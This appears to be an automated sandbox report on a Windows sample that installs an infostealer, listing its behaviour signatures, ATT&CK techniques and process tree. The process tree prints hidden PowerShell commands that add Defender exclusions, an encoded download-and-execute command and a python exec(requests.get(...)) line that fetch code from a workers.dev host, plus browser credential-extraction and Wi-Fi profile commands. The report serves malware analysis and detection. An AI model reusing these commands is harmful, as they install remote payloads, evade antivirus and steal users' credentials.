Overview

overview

8

Static

static

3

WindowsProject1.exe

windows10-2004-x64

8

WindowsProject1.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    102s
  • max time network
    119s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 21:53

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    WindowsProject1.exe
  • Size 114KB
  • Sample260707-1rt9wsfx3k
  • SHA256 a24fefabc5af611b562a50379144d97205416c0ef3d95b666e8b166f84f96110
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarediscoveryexecutionpersistenceprivilege_escalationransomwarespywarestealer

Malware Config

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\WindowsProject1.exe
    "C:\Users\Admin\AppData\Local\Temp\WindowsProject1.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3288
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$startupPath = [Environment]::GetFolderPath('Startup'); $exePath = Join-Path $startupPath 'WindowsProject1.exe'; $tempPath = [System.IO.Path]::GetTempPath(); $targetExe = Join-Path $startupPath 'svchost.exe'; Add-MpPreference -ExclusionPath $startupPath -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath $exePath -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath $targetExe -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath $tempPath -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\Google\Chrome\User Data' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\BraveSoftware\Brave-Browser\User Data' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Local\Microsoft\Edge\User Data' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Roaming\Opera Software\Opera Stable' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Users\*\AppData\Roaming\Opera Software\Opera GX Stable' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'WindowsProject1.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue" -WindowStyle Hidden -ExecutionPolicy Bypass
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2844
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==' -WindowStyle Hidden"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:964
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5240
        • C:\Users\Admin\AppData\Roaming\Google\python\python.exe
          "C:\Users\Admin\AppData\Roaming\Google\python\python.exe" C:\Users\Admin\AppData\Roaming\Google\python\get-pip.py
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4288
        • C:\Users\Admin\AppData\Roaming\Google\python\python.exe
          "C:\Users\Admin\AppData\Roaming\Google\python\python.exe" -m pip install requests websocket-client pycryptodome psutil pywin32 --no-warn-script-location --no-build-isolation
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2312
        • C:\Users\Admin\AppData\Roaming\Google\python\python.exe
          "C:\Users\Admin\AppData\Roaming\Google\python\python.exe" -c "import requests; exec(requests.get('https://young-boat-eee2.bdu6903.workers.dev/raw', headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (WindowsLoader/v1.0)'}).text)"
          4⤵
          • Deletes itself
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2256
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "cd /d "C:\Program Files\Google\Chrome\Application" && "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chrome_output" chrome"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5140
            • C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe
              "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chrome_output" chrome
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:716
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                7⤵
                  PID:2388
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chrome beta_out" chrome beta"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1304
              • C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe
                "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chrome beta_out" chrome beta
                6⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4232
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  7⤵
                    PID:5548
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\brave_out" brave"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1432
                • C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe
                  "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\brave_out" brave
                  6⤵
                  • Executes dropped EXE
                  PID:1548
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "cd /d "C:\Program Files (x86)\Microsoft\Edge\Application" && "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\edge_out" edge"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:5400
                • C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe
                  "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\edge_out" edge
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4552
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                    7⤵
                      PID:3468
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\avast_out" avast"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2292
                  • C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe
                    "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\avast_out" avast
                    6⤵
                    • Executes dropped EXE
                    PID:3228
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\vivaldi_out" vivaldi"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4504
                  • C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe
                    "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\chromelevator_x64.exe" -o "C:\Users\Admin\AppData\Local\Temp\tmppbtbmh4k\vivaldi_out" vivaldi
                    6⤵
                    • Executes dropped EXE
                    PID:2708
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2012
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show interfaces
                    6⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:1372
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                  5⤵
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4316
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show profiles
                    6⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:3296
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
          1⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5112
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==' -WindowStyle Hidden"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5920
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
              3⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4148
        • C:\Windows\system32\sihost.exe
          sihost.exe
          1⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1744
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:5580
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:420
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:3220
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:2408
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:1756
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:5592
              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                1⤵
                  PID:1416

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      1
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Persistence

                      Boot or Logon Autostart Execution

                      2
                      T1547

                      Active Setup

                      1
                      T1547.014

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      2
                      T1547

                      Active Setup

                      1
                      T1547.014

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Defense Evasion

                      Modify Registry

                      3
                      T1112

                      Credential Access

                      Credentials from Password Stores

                      1
                      T1555

                      Credentials from Web Browsers

                      1
                      T1555.003

                      Unsecured Credentials

                      1
                      T1552

                      Credentials In Files

                      1
                      T1552.001

                      Discovery

                      Browser Information Discovery

                      1
                      T1217

                      Peripheral Device Discovery

                      2
                      T1120

                      Query Registry

                      3
                      T1012

                      System Information Discovery

                      2
                      T1082

                      System Location Discovery

                      1
                      T1614

                      System Language Discovery

                      1
                      T1614.001

                      System Network Configuration Discovery

                      1
                      T1016

                      Wi-Fi Discovery

                      1
                      T1016.002

                      Lateral Movement

                      Collection

                      Data from Local System

                      1
                      T1005

                      Command and Control

                      Web Service

                      1
                      T1102

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 21KB
                      • SHA256 46c0743524786efb52c8a914d153de5deecbf77e7e38be3ddadd49c085e8350c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 15KB
                      • SHA256 e27cad4a1dc0df67ba6762d712a1511700cd545cfd0683b96f349d4d1bc997cc
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 15KB
                      • SHA256 e27e727c455eb9f6cd91311253eadf5341d077a8aa494603cc9e5242e6cc351a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      prep_Activatable Class_Hermes_perf.cache
                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                      • Size 599B
                      • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_nj4b5ryt.cvh.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nj4b5ryt.cvh.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      websocket_client-1.9.0-py3-none-any.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-53hozwm1\websocket_client-1.9.0-py3-none-any.whl.metadata
                      • Size 8KB
                      • SHA256 29cfc4c6cba2dcfd8757128f893d69ea13fe7598153c4854232c20405a493bb1
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-592u5jui\charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl.metadata
                      • Size 41KB
                      • SHA256 83a2993c753cc6098985f8a75286025a01e96453403284ce25e3fef7665472e1
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      certifi-2026.6.17-py3-none-any.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-5bhbjm5g\certifi-2026.6.17-py3-none-any.whl.metadata
                      • Size 2KB
                      • SHA256 ea15c09edd1ad9e97bc66d9ef71bcfb910a7b592e374a0a437cd5ee3b134c0df
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-5popst9w\psutil-7.2.2-cp37-abi3-win_amd64.whl.metadata
                      • Size 22KB
                      • SHA256 a263a40220d921d9cb963fc636d34f817aa2eb72c2696e3e3465d088cdb1976b
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      certifi-2026.6.17-py3-none-any.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\certifi-2026.6.17-py3-none-any.whl
                      • Size 130KB
                      • SHA256 2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl
                      • Size 158KB
                      • SHA256 16b65ea0f2465b6fb52aa22de5eca612aa964ddfec00a912e26f4656cbef890b
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      idna-3.18-py3-none-any.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\idna-3.18-py3-none-any.whl
                      • Size 63KB
                      • SHA256 7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      psutil-7.2.2-cp37-abi3-win_amd64.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\psutil-7.2.2-cp37-abi3-win_amd64.whl
                      • Size 134KB
                      • SHA256 eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pycryptodome-3.23.0-cp37-abi3-win_amd64.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl
                      • Size 1.7MB
                      • SHA256 c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pywin32-312-cp314-cp314-win_amd64.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\pywin32-312-cp314-cp314-win_amd64.whl
                      • Size 6.7MB
                      • SHA256 a4dd3a848290ef724347b19f301045831d8e802fa4464f491b98b1e0a081432e
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      requests-2.34.2-py3-none-any.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\requests-2.34.2-py3-none-any.whl
                      • Size 71KB
                      • SHA256 2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      websocket_client-1.9.0-py3-none-any.whl
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9h4q4bux\websocket_client-1.9.0-py3-none-any.whl
                      • Size 80KB
                      • SHA256 af248a825037ef591efbf6ed20cc5faa03d3b47b9e5a2230a529eeee1c1fc3ef
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      requests-2.34.2-py3-none-any.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-_wj23_o7\requests-2.34.2-py3-none-any.whl.metadata
                      • Size 4KB
                      • SHA256 8c384ba3e979480faae2859d3c5e6c1276dd2c3616e322e124d52c8cfc556f27
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pip-26.1.2-py3-none-any.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ki3jdgcp\pip-26.1.2-py3-none-any.whl.metadata
                      • Size 4KB
                      • SHA256 17832de47b5dc23e46253ba16462520036f28d9a27d5c30157784952ca4e69b2
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pywin32-312-cp314-cp314-win_amd64.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-utnue3il\pywin32-312-cp314-cp314-win_amd64.whl.metadata
                      • Size 10KB
                      • SHA256 77f53e90408dd3bdcf5f73a20d6548504313dee2ad34f8b3794b2202583a84b1
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      idna-3.18-py3-none-any.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-uwauqknr\idna-3.18-py3-none-any.whl.metadata
                      • Size 5KB
                      • SHA256 46dfe6e5ac462d0f680ecd9abcf66e829b6a2334824b4d9e3979b31135caf281
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      urllib3-2.7.0-py3-none-any.whl.metadata
                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-vxd21e01\urllib3-2.7.0-py3-none-any.whl.metadata
                      • Size 6KB
                      • SHA256 66147856d30bbb6bed01c6ce3326d0f48d84ed5f286ac177633a1486b82eace5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata
